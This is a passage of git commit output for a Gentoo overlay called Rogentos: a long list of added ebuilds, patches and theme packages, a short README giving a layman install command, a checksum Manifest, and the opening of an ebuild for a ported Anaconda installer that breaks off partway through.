 create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.6.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.8.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-11.9.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.1-r1.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.10.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.2.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.3.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.4.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.6.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.6_beta_pre897.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-12.8.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-13.1.ebuild
 create mode 100644 x11-drivers/ati-drivers/ati-drivers-13.4.ebuild
 create mode 100644 x11-drivers/ati-drivers/files/amd-drivers-3.2.7.1.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-12.2-redefine-WARN.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.33.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.34.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.35-and-newer.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.36.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.37.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.38.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-2.6.39.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-3.2.8+-2.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-3.2.8+.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-CVE-2010-3081-fix.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-do_mmap.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-fix_compilation-bug-297322.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-kernel-3.8-acpihandle.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-old_rsp.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-redefine-WARN.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-vm-reserverd.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-x32_something_something.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-drivers-xen.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-powermode-opt-path-2.patch
 create mode 100644 x11-drivers/ati-drivers/files/ati-powermode-opt-path-3.patch
 create mode 100644 x11-drivers/ati-drivers/files/atieventsd.init
 create mode 100644 x11-drivers/ati-drivers/files/const-notifier-block.patch
 create mode 100644 x11-drivers/ati-drivers/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch
 create mode 100644 x11-drivers/ati-drivers/files/kernel/2.6.32-9.11-fix_compilation.patch
 create mode 100644 x11-drivers/ati-drivers/files/switchlibGL
 create mode 100644 x11-drivers/ati-userspace/Manifest
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.10.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.11.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.12.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.6.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.8.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-11.9.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.1-r1.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.10.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.2.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.3.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.4.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.6.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.6_beta_pre897.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-12.8.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-13.1.ebuild
 create mode 100644 x11-drivers/ati-userspace/ati-userspace-13.4.ebuild
 create mode 100644 x11-drivers/ati-userspace/files/amd-drivers-3.2.7.1.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-12.2-redefine-WARN.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.33.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.34.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.35-and-newer.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.36.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.37.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-2.6.38.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-CVE-2010-3081-fix.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-do_mmap.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-fix_compilation-bug-297322.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-kernel-3.8-acpihandle.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-old_rsp.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-vm-reserverd.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-x32_something_something.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-drivers-xen.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-powermode-opt-path-2.patch
 create mode 100644 x11-drivers/ati-userspace/files/ati-powermode-opt-path-3.patch
 create mode 100644 x11-drivers/ati-userspace/files/atieventsd.init
 create mode 100644 x11-drivers/ati-userspace/files/const-notifier-block.patch
 create mode 100644 x11-drivers/ati-userspace/files/kernel/2.6.31-fglrx_find_task_by_vpid.patch
 create mode 100644 x11-drivers/ati-userspace/files/kernel/2.6.32-9.11-fix_compilation.patch
 create mode 100644 x11-drivers/ati-userspace/files/switchlibGL
 create mode 100644 x11-drivers/nvidia-drivers/Manifest
 create mode 100644 x11-drivers/nvidia-drivers/files/10nvidia
 create mode 100644 x11-drivers/nvidia-drivers/files/256.35-unified-arch.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/eblits/donvidia.eblit
 create mode 100644 x11-drivers/nvidia-drivers/files/eblits/mtrr_check.eblit
 create mode 100644 x11-drivers/nvidia-drivers/files/eblits/src_install-libs.eblit
 create mode 100644 x11-drivers/nvidia-drivers/files/eblits/want_tls.eblit
 create mode 100644 x11-drivers/nvidia-drivers/files/libGL.la-r2
 create mode 100644 x11-drivers/nvidia-drivers/files/make-use-of-the-new-uapi-framework.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-169.07
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.10.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-260.19.44-2.6.39.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-290.10-3.2.8+.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.10.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-313.18-3.8.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-319.23-3.10.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-96.43.19-2.6.39.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-const.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/nvidia-drivers-pax-usercopy.patch
 create mode 100644 x11-drivers/nvidia-drivers/files/replace-VM_RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch
 create mode 100644 x11-drivers/nvidia-drivers/metadata.xml
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-173.14.31.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-173.14.34.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-173.14.35.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-275.09.07.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-280.13.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-285.05.09.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-290.10.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.20.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.33.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.40.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.49.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.53.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-295.59.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-302.17.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.22.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.37.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.64.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-304.88.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-310.19.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-313.18.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-313.30.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-325.15.ebuild
 create mode 100644 x11-drivers/nvidia-drivers/nvidia-drivers-96.43.20.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/Manifest
 create mode 100644 x11-drivers/nvidia-userspace/files/09nvidia
 create mode 100644 x11-drivers/nvidia-userspace/files/90mutter-disable-culling
 create mode 100644 x11-drivers/nvidia-userspace/files/NVIDIA_glx-defines.patch
 create mode 100644 x11-drivers/nvidia-userspace/files/NVIDIA_glx-glheader.patch
 create mode 100644 x11-drivers/nvidia-userspace/files/eblits/donvidia.eblit
 create mode 100644 x11-drivers/nvidia-userspace/files/eblits/mtrr_check.eblit
 create mode 100644 x11-drivers/nvidia-userspace/files/eblits/src_install-libs.eblit
 create mode 100644 x11-drivers/nvidia-userspace/files/eblits/want_tls.eblit
 create mode 100644 x11-drivers/nvidia-userspace/files/libGL.la-r2
 create mode 100644 x11-drivers/nvidia-userspace/files/nvidia
 create mode 100644 x11-drivers/nvidia-userspace/files/nvidia-169.07
 create mode 100644 x11-drivers/nvidia-userspace/files/nvidia-smi.init
 create mode 100644 x11-drivers/nvidia-userspace/files/nvidia-udev.sh
 create mode 100644 x11-drivers/nvidia-userspace/files/nvidia.udev-rule
 create mode 100644 x11-drivers/nvidia-userspace/metadata.xml
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-173.14.31.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-173.14.34.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-173.14.35.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-275.09.07.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-280.13.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-285.05.09.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-290.10.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.20.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.33.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.40.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.49.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.53.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-295.59.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-302.17.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-304.22.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-304.37.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-304.88.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-310.19.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-313.30.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-325.15.ebuild
 create mode 100644 x11-drivers/nvidia-userspace/nvidia-userspace-96.43.20.ebuild
 create mode 100644 x11-drivers/pvr-omap4/Manifest
 create mode 100644 x11-drivers/pvr-omap4/README
 create mode 100644 x11-drivers/pvr-omap4/pvr-omap4-1.7.10.0.1.9.ebuild
 create mode 100644 x11-drivers/xf86-video-ati/Manifest
 create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-evergreen.patch
 create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r100.patch
 create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r200.patch
 create mode 100644 x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r300.patch
 create mode 100644 x11-drivers/xf86-video-ati/metadata.xml
 create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild
 create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-6.14.6-r1.ebuild
 create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-7.0.0.ebuild
 create mode 100644 x11-drivers/xf86-video-ati/xf86-video-ati-7.1.0.ebuild
 create mode 100644 x11-drivers/xf86-video-intel/Manifest
 create mode 100644 x11-drivers/xf86-video-intel/metadata.xml
 create mode 100644 x11-drivers/xf86-video-intel/xf86-video-intel-2.20.0.ebuild
 create mode 100644 x11-drivers/xf86-video-radeonhd/Manifest
 create mode 100644 x11-drivers/xf86-video-radeonhd/xf86-video-radeonhd-9999.ebuild
 create mode 100644 x11-libs/vdpau-video/Manifest
 create mode 100644 x11-libs/vdpau-video/vdpau-video-0.7.3.ebuild
 create mode 100644 x11-misc/lightdm-base/Manifest
 create mode 100644 x11-misc/lightdm-base/files/README.gentoo
 create mode 100644 x11-misc/lightdm-base/files/Xsession
 create mode 100644 x11-misc/lightdm-base/files/lightdm
 create mode 100644 x11-misc/lightdm-base/files/lightdm-1.7.7-session-wrapper.patch
 create mode 100644 x11-misc/lightdm-base/files/lightdm-autologin
 create mode 100644 x11-misc/lightdm-base/files/lightdm.service
 create mode 100644 x11-misc/lightdm-base/files/session-wrapper-lightdm.patch
 create mode 100644 x11-misc/lightdm-base/lightdm-base-1.4.0-r1.ebuild
 create mode 100644 x11-misc/lightdm-base/lightdm-base-1.4.0.ebuild
 create mode 100644 x11-misc/lightdm-base/lightdm-base-1.8.5-r2.ebuild
 create mode 100644 x11-misc/lightdm-base/metadata.xml
 create mode 100644 x11-misc/lightdm-gtk-greeter/Manifest
 create mode 100644 x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.3.1-r1.ebuild
 create mode 100644 x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.6.1.ebuild
 create mode 100644 x11-misc/lightdm-gtk-greeter/lightdm-gtk-greeter-1.7.0.ebuild
 create mode 100644 x11-misc/lightdm-kde/Manifest
 create mode 100644 x11-misc/lightdm-kde/files/lightdm-kde-0.3.2.1-lightdm-1.7.patch
 create mode 100644 x11-misc/lightdm-kde/lightdm-kde-0.3.1.ebuild
 create mode 100644 x11-misc/lightdm-kde/lightdm-kde-0.3.2.1.ebuild
 create mode 100644 x11-misc/lightdm-kde/metadata.xml
 create mode 100644 x11-misc/lightdm-qt4/Manifest
 create mode 100644 x11-misc/lightdm-qt4/files/lightdm-1.2.0-fix-configure.patch
 create mode 100644 x11-misc/lightdm-qt4/lightdm-qt4-1.4.0.ebuild
 create mode 100644 x11-misc/lightdm-qt4/lightdm-qt4-1.8.5.ebuild
 create mode 100644 x11-misc/lightdm-qt4/metadata.xml
 create mode 100644 x11-misc/lightdm/lightdm-1.4.0-r1.ebuild
 create mode 100644 x11-misc/lightdm/lightdm-1.8.5-r2.ebuild
 create mode 100644 x11-misc/lightdm/metadata.xml
 create mode 100644 x11-misc/virtualgl/ChangeLog
 create mode 100644 x11-misc/virtualgl/Manifest
 create mode 100644 x11-misc/virtualgl/files/vgl.confd-r1
 create mode 100644 x11-misc/virtualgl/files/vgl.initd-r1
 create mode 100644 x11-misc/virtualgl/files/vgl.initd-r2
 create mode 100644 x11-misc/virtualgl/metadata.xml
 create mode 100644 x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild
 create mode 100644 x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild
 create mode 100644 x11-themes/cristal-blue/Manifest
 create mode 100644 x11-themes/cristal-blue/cristal-blue-1.3.1.ebuild
 create mode 100644 x11-themes/elementary-icon-theme/Manifest
 create mode 100644 x11-themes/elementary-icon-theme/elementary-icon-theme-2.7.1-r1.ebuild
 create mode 100644 x11-themes/faenza-cupertino/Manifest
 create mode 100644 x11-themes/faenza-cupertino/faenza-cupertino-1.0.ebuild
 create mode 100644 x11-themes/faenza-kupertino-icons/Manifest
 create mode 100644 x11-themes/faenza-kupertino-icons/faenza-kupertino-icons-1.0.ebuild
 create mode 100644 x11-themes/gnome-colors-common/Manifest
 create mode 100644 x11-themes/gnome-colors-common/gnome-colors-common-5.5.1-r12.ebuild
 create mode 100644 x11-themes/gnome-colors-common/metadata.xml
 create mode 100644 x11-themes/kogaion-artwork-core/Manifest
 create mode 100644 x11-themes/kogaion-artwork-core/kogaion-artwork-core-1.ebuild
 create mode 100644 x11-themes/kogaion-artwork-core/kogaion-artwork-core-2-r1.ebuild
 create mode 100644 x11-themes/kogaion-artwork-core/kogaion-artwork-core-2.ebuild
 create mode 100644 x11-themes/kogaion-artwork-gnome/Manifest
 create mode 100644 x11-themes/kogaion-artwork-gnome/files/gnome-backgrounds.xml
 create mode 100644 x11-themes/kogaion-artwork-gnome/files/org.kogaion.gschema.override
 create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r1.ebuild
 create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r2.ebuild
 create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0-r3.ebuild
 create mode 100644 x11-themes/kogaion-artwork-gnome/kogaion-artwork-gnome-1.0.ebuild
 create mode 100644 x11-themes/kogaion-artwork-lxde/Manifest
 create mode 100644 x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1-r1.ebuild
 create mode 100644 x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1.ebuild
 create mode 100644 x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.ebuild
 create mode 100644 x11-themes/kogaion-artwork-mate/Manifest
 create mode 100644 x11-themes/kogaion-artwork-mate/files/org.mate.kogaion.gschema.override
 create mode 100644 x11-themes/kogaion-artwork-mate/kogaion-artwork-mate-1.0.ebuild
 create mode 100644 x11-themes/kogaion-dark-theme/Manifest
 create mode 100644 x11-themes/kogaion-dark-theme/kogaion-dark-theme-1.0.ebuild
 create mode 100644 x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.0.ebuild
 create mode 100644 x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.1.ebuild
 create mode 100644 x11-themes/kogaion-elementary-icons/Manifest
 create mode 100644 x11-themes/kogaion-elementary-icons/kogaion-elementary-icons-1.0.ebuild
 create mode 100644 x11-themes/kogaion-light-theme/Manifest
 create mode 100644 x11-themes/kogaion-light-theme/kogaion-light-theme-1.0.ebuild
 create mode 100644 x11-themes/kogaion-light-theme/kogaion-light-theme-2.0.ebuild
 create mode 100644 x11-themes/kogaion-light-theme/kogaion-light-theme-2.1.ebuild
 create mode 100644 x11-themes/mediterranean-night/Manifest
 create mode 100644 x11-themes/mediterranean-night/mediterranean-night-2.03.ebuild
 create mode 100644 x11-themes/pacifica-icon-theme/Manifest
 create mode 100644 x11-themes/pacifica-icon-theme/pacifica-icon-theme-1.0.ebuild
 create mode 100644 x11-themes/pidgin-penguins-smileys/ChangeLog
 create mode 100644 x11-themes/pidgin-penguins-smileys/Manifest
 create mode 100644 x11-themes/pidgin-penguins-smileys/metadata.xml
 create mode 100644 x11-themes/pidgin-penguins-smileys/pidgin-penguins-smileys-1.0.ebuild
 create mode 100644 x11-themes/pidgin-smileys/ChangeLog
 create mode 100644 x11-themes/pidgin-smileys/Manifest
 create mode 100644 x11-themes/pidgin-smileys/metadata.xml
 create mode 100644 x11-themes/pidgin-smileys/pidgin-smileys-20080819.ebuild
 create mode 100644 x11-themes/pidgin-smileys/pidgin-smileys-20100821.ebuild
 create mode 100644 x11-themes/rogentos-artwork-core/Manifest
 create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.2.ebuild
 create mode 100644 x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.ebuild
 create mode 100644 x11-themes/rogentos-artwork-extra/Manifest
 create mode 100644 x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-grub/Manifest
 create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2.ebuild
 create mode 100644 x11-themes/rogentos-artwork-isolinux/Manifest
 create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild
 create mode 100644 x11-themes/rogentos-artwork-kde/Manifest
 create mode 100644 x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml
 create mode 100644 x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-lxde/Manifest
 create mode 100644 x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-resplash/Manifest
 create mode 100644 x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild
 create mode 100644 x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild
 create mode 100644 x11-themes/tango-icon-theme/Manifest
 create mode 100644 x11-themes/tango-icon-theme/metadata.xml
 create mode 100644 x11-themes/tango-icon-theme/tango-icon-theme-0.8.90.ebuild
 create mode 100644 x11-themes/zukitwo-brave/Manifest
 create mode 100644 x11-themes/zukitwo-brave/zukitwo-brave-0.1.ebuild
 create mode 100644 x11-wm/awemenugen/Manifest
 create mode 100644 x11-wm/awemenugen/awemenugen-20120205.ebuild
 create mode 100644 xfce-extra/thunar-dropbox/Manifest
 create mode 100644 xfce-extra/thunar-dropbox/files/thunar-dropbox-0.2.0-wscript.patch
 create mode 100644 xfce-extra/thunar-dropbox/thunar-dropbox-0.2.0.ebuild
 create mode 100644 xfce-extra/xfce4-messenger-plugin/Manifest
 create mode 100644 xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0-r1.ebuild
 create mode 100644 xfce-extra/xfce4-messenger-plugin/xfce4-messenger-plugin-0.1.0.ebuild

diff --git a/README b/README
new file mode 100644
index 00000000..036bd883
--- /dev/null
+++ b/README
@@ -0,0 +1,5 @@
+Romanian Server-oriented ebuilds. For the moment it's in pre-alpha stage. :)
+
+To install it as an overlay in a Gentoo planet distro, use the command: 
+
+layman -f -a rogento -o https://raw.github.com/BlackNoxis/Rogento/master/overlay.xml
diff --git a/app-admin/anaconda/Manifest b/app-admin/anaconda/Manifest
new file mode 100644
index 00000000..2c115915
--- /dev/null
+++ b/app-admin/anaconda/Manifest
@@ -0,0 +1,2 @@
+DIST audit-2.1.2.tar.gz 832570 SHA256 74de47b70f8d60035d97d2b2ee73934be132d67569cbe74a427f5aa41f156fb9 SHA512 8b1fb457b29ab0d13b86404bb09fcf7fd54bf11afd0583d4c91150bfe8b7013d43325150935e668bc4904eaca155cb072a3af659fd44acbdccf128ce3c95bc6b WHIRLPOOL e3a9c44056829a74db192fb6a7200e3de50af29b23ac6e309ca6927f181031dc961a2c2c193356d7208d9f18cc7c0beaf4da602af63ac15797b291e4a5ad33e4
+DIST libselinux-2.0.94.tar.gz 205804 SHA256 b8312852306650e9720de5a20fe7560d935d3c90ffedca1cac25bf3f283d8a36 SHA512 fa8d89cb812ee02dc99811c99341acdcadcc088a06e6de736e31ca1c9f84a5b2afe60b24ec870c31afae3f8c317dd802abee2d50621c59ad3e11afddc26ae814 WHIRLPOOL 127eb506e63709b468866875f4aecf84216d4674fe5f8f0f906f59842dd0dba3ce2fb6cdd3e8085626989039e38a1dbb363fc8ec58bccd10195d1e15fdcefe1b
diff --git a/app-admin/anaconda/anaconda-9999.ebuild b/app-admin/anaconda/anaconda-9999.ebuild
new file mode 100644
index 00000000..9814e22a
--- /dev/null
+++ b/app-admin/anaconda/anaconda-9999.ebuild
@@ -0,0 +1,224 @@
+# Copyri:ght 2004-2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+if [ "${PV}" = "9999" ]; then
+	#EGIT_COMMIT="master"
+	EGIT_REPO_URI="git://github.com/Rogentos/rogentos-anaconda.git"
+	MY_ECLASS="git-2"
+fi
+inherit flag-o-matic base python libtool autotools eutils ${MY_ECLASS}
+
+AUDIT_VER="2.1.2"
+AUDIT_SRC_URI="http://people.redhat.com/sgrubb/audit/audit-${AUDIT_VER}.tar.gz"
+
+SEPOL_VER="2.1"
+LSELINUX_VER="2.0.94"
+LSELINUX_SRC_URI="http://userspace.selinuxproject.org/releases/20100525/devel/libselinux-${LSELINUX_VER}.tar.gz"
+
+DESCRIPTION="Rogentos Redhat Anaconda Installer Port"
+HOMEPAGE="http://rogentos.ro/"
+if [ "${PV}" = "9999" ]; then
+	SRC_URI="${AUDIT_SRC_URI} ${LSELINUX_SRC_URI}"
+	KEYWORDS=""
+	S="${WORKDIR}"/${PN}-${PVR}
+else
+	SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-rogentos-${PVR}.tar.bz2 ${AUDIT_SRC_URI} ${LSELINUX_SRC_URI}"
+	KEYWORDS="~amd64 ~x86"
+	S="${WORKDIR}"/${PN}-rogentos-${PVR}
+fi
+AUDIT_S="${WORKDIR}/audit-${AUDIT_VER}"
+LSELINUX_S="${WORKDIR}/libselinux-${LSELINUX_VER}"
+
+LICENSE="GPL-2 public-domain"
+SLOT="0"
+IUSE="-ipv6 +nfs ldap"
+RESTRICT="nomirror"
+
+AUDIT_DEPEND="dev-lang/swig"
+AUDIT_RDEPEND="ldap? ( net-nds/openldap )"
+LSELINUX_DEPEND="=sys-libs/libsepol-${SEPOL_VER}* dev-lang/swig"
+LSELINUX_RDEPEND="=sys-libs/libsepol-${SEPOL_VER}*"
+LSELINUX_CONFLICT="!sys-libs/libselinux" # due to pythonX.Y/site-packages+/usr/sbin not being handled
+COMMON_DEPEND="app-admin/system-config-keyboard
+	>=app-arch/libarchive-2.8
+	app-crypt/sbsigntool
+	app-cdr/isomd5sum
+	dev-libs/newt
+	nfs? ( net-fs/nfs-utils )
+	sys-fs/lvm2
+	sys-block/open-iscsi"
+DEPEND="${COMMON_DEPEND} ${AUDIT_DEPEND} ${LSELINUX_DEPEND} sys-apps/sed"
+RDEPEND="${COMMON_DEPEND} ${AUDIT_RDEPEND}
+	${LSELINUX_RDEPEND} ${LSELINUX_CONFLICT}
+	>=app-misc/anaconda-runtime-1.1"
+
+# FIXME:
+# for anaconda-gtk we would require also
+#   dev-python/pygtk
+#   x11-libs/pango
+
+src_unpack() {
+	if [ "${PV}" = "9999" ]; then
+		git-2_src_unpack
+		base_src_unpack
+	else
+		base_src_unpack
+	fi
+}
+
+src_prepare() {
+
+	# Setup CFLAGS, LDFLAGS
+	append-cppflags "-I${D}/usr/include/anaconda-runtime"
+	append-ldflags "-L${D}/usr/$(get_libdir)/anaconda-runtime"
+	append-cflags "-fexceptions"
+
+		# drop after 0.9.11
